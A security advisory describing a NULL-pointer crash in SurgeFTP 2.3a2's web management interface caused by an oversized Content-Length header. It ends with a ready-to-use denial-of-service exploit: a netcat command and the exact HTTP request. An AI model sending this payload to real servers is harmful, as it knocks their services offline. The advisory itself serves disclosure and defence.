SurgeFTP NULL Pointer
------------------------------------------------------------------------
SUMMARY
<http://www.netwinsite.com/surgeftp/> SurgeFTP is "a commercial FTP
server which supports also SSL/TLS and has a web interface for remote
administration". A vulnerability in the way SurgeFTP's web management
interface handles invalid Content-Length values allows remote attackers to
cause it to crash.
DETAILS
Vulnerable Systems:
* SurgeFTP version 2.3a2
When a Content-Length parameter is received from the client, SurgeFTP
tries to allocate the amount of memory (max 2147483647 bytes) specified in
this field and then copies the data in the resulted new buffer. The
problem is in the lack of checks on the result of the allocation which
leads to the crash of the entire server during the copying of the data to
a NULL pointer if that amount of memory cannot be allocated.
Exploit:
Send the following content using the following command:
nc SERVER 7021 -v -v < surgeftpizza.txt
Content:
GET / HTTP/1.0
Content-Length: 2147483647
